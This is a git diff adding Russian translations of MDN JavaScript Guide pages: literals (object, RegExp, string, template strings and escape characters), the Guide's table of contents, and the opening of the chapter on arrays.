+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>car<span class="punctuation token" style="color: #999999;">.</span>manyCars<span class="punctuation token" style="color: #999999;">.</span>b<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">; </span><span class="comment token" style="color: #708090;">// Jeep
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>car<span class="punctuation token" style="color: #999999;">[</span><span class="number token" style="color: #990055;">7</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">         // Mazda</span></code></pre>
+
+<p>Именем свойства объекта может быть любая строка, в том числе пустая строка. Если имя свойства не является корректным JavaScript идентификатором, то оно должно быть заключено в кавычки. Для обращения к таким именам следует использовать квадратные скобки ( <code>[]</code> ), а не точку ( <code>.</code> ):</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> unusualPropertyNames <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="string token" style="color: #669900;">""</span><span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"An empty string"</span><span class="punctuation token" style="color: #999999;">,</span>
+  <span class="string token" style="color: #669900;">"!"</span><span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"Bang!"</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>unusualPropertyNames<span class="punctuation token" style="color: #999999;">.</span><span class="string token" style="color: #669900;">""</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>  <span class="comment token" style="color: #708090;"> // SyntaxError: Unexpected string
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>unusualPropertyNames<span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">""</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // "An empty string"
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>unusualPropertyNames<span class="punctuation token" style="color: #999999;">.</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">!</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>   <span class="comment token" style="color: #708090;"> // SyntaxError: Unexpected token !
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>unusualPropertyNames<span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"!"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // "Bang!"</span></code>
+</pre>
+
+<p>В ES2015 литералы объектов расширены до поддержки установки прототипа в конструкции короткой записи для <code>foo: </code>задание <code>foo</code>,  определение методов, создание супер вызовов и вычисление имён свойств в выражениях. Вместе, они делают похожими объектные литералы и объявления классов, а также позволяют объектному дизайну получать выгоду одинаковых возможностей.</p>
+
+<pre class="brush: js">var obj = {
+    // __proto__
+    __proto__: theProtoObj,
+    // Короткая запись для ‘handler: handler’
+    handler,
+    // Методы
+    toString() {
+     // Супер вызовы
+     return "d " + super.toString();
+    },
+    // Динамическое вычисление имён свойств
+    [ 'prop_' + (() =&gt; 42)() ]: 42
+};</pre>
+
+<p>Обратите внимание на следующий пример:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> foo <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">{</span>a<span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"alpha"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="number token" style="color: #990055;">2</span><span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"two"</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>foo<span class="punctuation token" style="color: #999999;">.</span>a<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>   <span class="comment token" style="color: #708090;">            // alpha
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>foo<span class="punctuation token" style="color: #999999;">[</span><span class="number token" style="color: #990055;">2</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>  <span class="comment token" style="color: #708090;">            // two
+</span><span class="comment token" style="color: #708090;">// console.log(foo.2);            // SyntaxError: Unexpected number
+</span><span class="comment token" style="color: #708090;">// console.log(foo[a]);           // ReferenceError: a is not defined
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>foo<span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"a"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">            // alpha
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>foo<span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"2"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">            // two</span></code></pre>
+
+<h3 id="RegExp_литерал">RegExp литерал</h3>
+
+<p>Литерал regexp - шаблон между слешами. Следующий пример литерал regex:</p>
+
+<pre class="brush: js">var re = /ab+c/;</pre>
+
+<h3 id="Строковый_литерал">Строковый литерал</h3>
+
+<p>Строковый литерал — это ноль или более символов, заключенных в двойные ( <code>"</code> ) или одинарные ( <code>'</code> ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:</p>
+
+<pre><code>"foo"</code>
+<code>'bar'</code>
+<code>"1234"</code>
+<code>"one line \n another line"</code>
+<code>"John's cat"</code></pre>
+
+<p><code>​</code>Вы можете вызвать любой из методов объекта <code>String</code> для строкового литерала: JavaScript автоматически преобразует строковой литерал во временный объект <code>String</code>, вызовет метод, а затем уничтожит временный объект <code>String</code>. Вы также можете использовать свойство <code>String.length</code> со строковым литералом:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;">console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"John's cat"</span><span class="punctuation token" style="color: #999999;">.</span>length<span class="punctuation token" style="color: #999999;">);</span><span class="comment token" style="color: #708090;">
+// Число символов в строке, включая пробел.
+</span><span class="comment token" style="color: #708090;">// В данном случае длина строки равна 10.</span></code></pre>
+
+<p>В ES2015 также доступны шаблоны строк. Шаблоны строк представляют собой синтаксический сахар для конструирования строк. Это похоже на возможности интерполяции строк в Perl, Python и других. Дополнительно, может быть добавлен тег, позволяющий настраивать конструирование строк, избегая атак внедрения и построения структур данных высокого уровня из содержимого строки.</p>
+
+<pre class="brush: js">// Простое создание строки через литерал string
+`In JavaScript '\n' is a line-feed.`
+
+// Мультистроковые строки
+`In JavaScript this is
+ not legal.`
+
+// Интерполяция строк
+var name = "Бобби", time = "сегодня";
+`Привет ${name}, как ты ${time}?`
+
+// Строим префикс HTTP запроса, используемый для интерпретации замен и конструирования
+POST`http://foo.org/bar?a=${a}&amp;b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "foo": ${foo},
+       "bar": ${bar}}`(myOnReadyStateChangeHandler);
+</pre>
+
+<p>Вам следует использовать строковые литералы до тех пор, пока вам специально не понадобится объект <code>String</code>. Чтобы получить более подробную информацию об объекте <code>String</code>, прочитайте {{jsxref("String")}}.</p>
+
+<h4 id="Использование_специальных_символов_в_строках">Использование специальных символов в строках</h4>
+
+<p>Кроме обычных символов вы также можете включать специальные символы в строки.</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="string token" style="color: #669900;">"one line \n another line"</span></code></pre>
+
+<p>В следующей таблице перечислены специальные символы, которые вы можете использовать.</p>
+
+<table class="standard-table">
+ <caption>Специальные символы в JavaScript</caption>
+ <thead>
+  <tr>
+   <th scope="col">Символ</th>
+   <th scope="col">Значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\b</code></td>
+   <td>Возврат (Backspace)</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Перевод или прогон страницы (Form feed)</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Перевод строки (New line)</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Возврат каретки (Carriage return)</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Табуляция (Tab)</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Вертикальная табуляция (Vertical tab)</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Апостроф или одинарная кавычка</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>Двойная кавычка</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>Обратная косая черта (Backslash)</td>
+  </tr>
+  <tr>
+   <td><code>\<em>XXX</em></code></td>
+   <td>
+    <p>Символ в кодировке Latin-1, представленный тремя восьмеричными числами <em>XXX</em> от 0 до 377. Например, \251 (символ ©).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\x<em>XX</em></code></td>
+   <td>
+    <p>Символ в кодировке Latin-1, представленный двумя шестнадцатеричными числами <em>XX</em> от 00 до FF. Например, \xA9 (символ ©).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\u<em>XXXX</em></code></td>
+   <td>
+    <p>Символ в Unicode, представленный четырьмя шестнадцатеричными числами <em>XXXX</em>. Например, \u00A9 (<span style="background-color: rgba(212, 221, 228, 0.14902);">символ ©).</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{XXXXX}</em></code></td>
+   <td>Символ в UTF-32BE. Например, \u{2F804} обозначает то же, что обычная запись \uD87E\uDC04.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Экранирующие_символы">Экранирующие символы</h4>
+
+<p>Для символов, не перечисленных в вышеприведенной таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.</p>
+
+<p>Вы можете вставить кавычку в строку, если поставите перед ней обратную косую черту. Это называется экранированием кавычек. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> quote <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"He read \"The Cremation of Sam McGee\" by R.W. Service."</span><span class="punctuation token" style="color: #999999;">;</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>quote<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// He read "The Cremation of Sam McGee" by R.W. Service.</span></code></pre>
+
+<p>Чтобы включить обратную косую черту в строку, перед ней нужно поставить еще одну обратную косую черту. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> home <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"c:\\temp"</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// c:\temp</span></code></pre>
+
+<p>Вы также можете экранировать перевод строки. Обратная косая черта и перевод строки будут удалены из содержимого строки. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> str <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> "<span class="keyword token" style="color: #0077aa;">this</span> string \
+is broken \
+across multiple\
+lines<span class="punctuation token" style="color: #999999;">.</span>"
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>str<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">// this string is broken across multiplelines.</span></code></pre>
+
+<p>Хотя JavaScript не поддерживает синтаксис "heredoc" (форматированный текст в одной строковой переменной), но вы можете эмулировать его, добавив перевод строки и обратную косую черту в конец каждой строки:</p>
+
+<pre class="brush: js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> poem <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span>
+"Roses are red<span class="punctuation token" style="color: #999999;">,</span>\n\
+Violets are blue<span class="punctuation token" style="color: #999999;">.</span>\n\
+I'm schizophrenic<span class="punctuation token" style="color: #999999;">,</span>\n\
+And so am I<span class="punctuation token" style="color: #999999;">.</span>"</code></pre>
+
+<h2 id="Дополнительная_информация">Дополнительная информация</h2>
+
+<p>Данная глава сфокусирована на базовом синтаксисе для объявлений и типов. Чтобы получить более подробную информацию о конструкциях JavaScript, прочитайте:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Statements">Порядок выполнения и обработка ошибок</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Loops_and_iteration">Циклы и итерация</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Functions">Функции</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">Выражения и операторы</a></li>
+</ul>
+
+<p>В следующей главе рассматриваются управляющие конструкции и обработка ошибок.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/ru/web/javascript/guide/index.html b/files/ru/web/javascript/guide/index.html
new file mode 100644
index 0000000000..fcd22de953
--- /dev/null
+++ b/files/ru/web/javascript/guide/index.html
@@ -0,0 +1,131 @@
+---
+title: Руководство JavaScript
+slug: Web/JavaScript/Guide
+tags:
+  - Guide
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">"Руководство по JavaScript" покажет вам как использовать <a href="/ru/docs/Web/JavaScript">JavaScript</a> и даст общее представление о языке. Если вам нужна исчерпывающая информация о возможностях языка, посмотрите <a href="/ru/docs/Web/JavaScript/Reference">руководство JavaScript</a>.</p>
+
+<h2 id="Главы">Главы</h2>
+
+<p>Это руководство разделено на несколько глав:</p>
+
+<ul class="card-grid">
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript">Введение</a></span>
+
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript#Где_можно_найти_информацию_о_JavaScript">Об этом руководстве</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript#Что_такое_JavaScript">О JavaScript</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript#JavaScript_и_Java">JavaScript и Java</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript#JavaScript_и_спецификация_ECMAScript">ECMAScript</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript#Начинаем_знакомство_с_JavaScript">Инструменты</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Введение_в_JavaScript#Hello_world">Hello World</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types">Грамматика и типы</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Основы">Базовый синтаксис и комментарии</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Объявления">Объявления</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Область_видимости_переменных">Область видимости переменных</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Поднятие_переменных">Поднятие переменных</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Структуры_и_типы_данных">Структуры и типы данных</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Литералы">Литералы</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Порядок выполнения и обработка ошибок</a></span>
+  <p><code><a href="/ru/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Инструкция_if...else">if...else</a></code><br>
+   <code><a href="/ru/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Инструкция_switch">switch</a></code><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Инструкции_обработки_исключений"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Использование_объекта_Error">Объекты <code>Error</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Объект_Promise">Объект <code>Promise</code></a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации">Циклы и итерации</a></span>
+  <p><code><a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#Цикл_for">for</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#Цикл_while">while</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#Цикл_do...while">do...while</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#break">break</a>/<a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#continue">continue</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#for...in">for..in</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Циклы_и_итерации#for...of">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Functions">Функции</a></span>
+
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Functions#Объявление_функций">Объявление функций</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Functions#Вызов_функций">Вызов функций</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Functions#Область_видимости_функций">Область видимости функций</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Functions#Замыкания">Замыкания</a><br>
+   <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Functions#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%B0_arguments">Аргументы</a> и <a href="/ru/docs/Web/JavaScript/Guide/Functions#Параметры_функции">параметры</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Functions#Стрелочные_функции">Стрелочные функции</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">Выражения и операторы</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators#Операторы_присваивания">Присваивание</a> и <a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators#Операторы_сравнения">Сравнение</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators#Арифметические_операторы">Арифметические операторы</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators#Битовые_(поразрядные)_операторы">Побитовые операторы</a> и <a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators#Логические_операторы">логические операторы</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators#Условный_(тернарный)_оператор">Условный (тернарный) операторы</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Numbers_and_dates">Числа и даты</a> </span><a href="/ru/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers">Числовые литералы</a>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Numbers_and_dates#Объект_Number">Объект <code>Number</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Numbers_and_dates#Объект_Math">Объект <code>Math</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Numbers_and_dates#Объект_Date">Объект <code>Date</code></a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Text_formatting">Форматирование текста</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Text_formatting#Строковые_литералы">Строковые литералы</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Text_formatting#Объекты_String">Объект <code>String</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Text_formatting#Многострочные_шаблонные_строки">Шаблонные литералы </a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Text_formatting#Интернационализация">Интернационализация</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions#Работа_с_Регулярными_Выражениями">Регулярные выражения</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections">Индексированные коллекции</a></span>
+
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Array_объект">Массивы</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Типизированные_массивы">Типизированные массивы</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Keyed_collections">Коллекции</a></span>
+  <p><code><a href="/ru/docs/Web/JavaScript/Guide/Keyed_collections#Тип_Map">Map</a></code><br>
+   <code><a href="/ru/docs/Web/JavaScript/Guide/Keyed_collections#Тип_WeakMap">WeakMap</a></code><br>
+   <code><a href="/ru/docs/Web/JavaScript/Guide/Keyed_collections#Тип_Set">Set</a></code><br>
+   <code><a href="/ru/docs/Web/JavaScript/Guide/Keyed_collections#Тип_WeakSet">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects">Работа с объектами</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Объекты_и_свойства">Объекты и свойства</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Создание_новых_объектов">Создание объектов</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Определение_методов">Определение методов</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Определение_геттеров_и_сеттеров">Геттеры и Сеттеры</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Подробнее про объектную модель</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Языки_основанные_на_классах_против_Прототипно-ориентированных_языков">Прототипно-ориентированное ООП</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Создание_иерархии">Создание иерархии объектов</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Наследование_свойств">Наследование</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov">Промисы</a></span>
+
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Гарантии">Гарантии</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Цепочка_вызовов">Цепочка вызовов</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Распространение_ошибки">Распространенные ошибки</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Композиция">Композиция</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Порядок_выполнения">Порядок выполнения</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итераторы и Генераторы</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Итераторы">Итераторы</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Итерируемые_объекты">Итерируемые объекты</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Генераторы">Генераторы</a></p>
+ </li>
+ <li><span><a href="/ru/docs/Web/JavaScript/Guide/Meta_programming">Мета<br>
+  программирование</a></span>
+  <p><a href="/ru/docs/Web/JavaScript/Guide/Meta_programming#Объекты_Proxy">Объект <code>Proxy</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Meta_programming#Обработчики_и_ловушки">Обработчики и ловушки</a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Meta_programming#Отзываемый_Proxy">Отзываемый <code>Proxy</code></a><br>
+   <a href="/ru/docs/Web/JavaScript/Guide/Meta_programming#Рефлексия">Рефлексия</a></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/ru/web/javascript/guide/indexed_collections/index.html b/files/ru/web/javascript/guide/indexed_collections/index.html
new file mode 100644
index 0000000000..96ea922455
--- /dev/null
+++ b/files/ru/web/javascript/guide/indexed_collections/index.html
@@ -0,0 +1,441 @@
+---
+title: Упорядоченные наборы данных
+slug: Web/JavaScript/Guide/Indexed_collections
+translation_of: Web/JavaScript/Guide/Indexed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</div>
+
+<p class="summary">Данная глава знакомит читателя с массивами - коллекциями элементов, упорядоченных по индексу. Глава включает в себя описание массивов и массивоподобных структур, таких как {{jsxref("Array")}} и {{jsxref("TypedArray")}}.</p>
+
+<h2 id="Array_объект"><code>Array</code> объект</h2>
+
+<p><em>Массив</em> представляется собой упорядоченный набор значений, к которому вы ссылаетесь по имени и индексу. Допустим, у вас есть массив с именем <code>emp,</code> содержащий имена сотрудников и упорядоченный по номеру сотрудников. Следовательно, <code>emp[1]</code> будет представлять собой имя сотрудника номер один, <code>emp[2]</code> -- имя сотрудника номер два, и т.д.</p>
+
+<p>Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределенный объект <code>Array</code> и его методы для работы с массивами в создаваемых приложениях. Объект <code>Array</code> содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения,  переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.</p>
+
+<h3 id="Создание_массива">Создание массива</h3>
+
+<p>Следующие выражения создают одинаковые массивы:</p>
+
+<pre class="brush: js">var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+</pre>
+
+<p><code>element0, element1, ..., elementN</code> - список значений элементов массива. Если значения заданы, то эти значения будут являться элементами массива после его инициализации. Свойство <code>length</code> у массива будет равно количеству аргументов.</p>
+
+<p>Синтаксис с использованием квадратных скобок называется "литерал массива" (array literal) или "инициализатор массива". Такая запись короче, чем другие способы создания массива, и, как правило, более предпочтительна. Cм. <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals" title="en-US/docs/JavaScript/Guide/Values, Variables, and Literals#Array Literals">Array literals</a>.</p>
+
+<p>Для создания массива без элементов, но ненулевой длины, возможно использовать одно из следующих выражений:</p>
+
+<pre class="brush: js">var arr = new Array(arrayLength);
+var arr = Array(arrayLength);
+
+// Точно такой же эффект
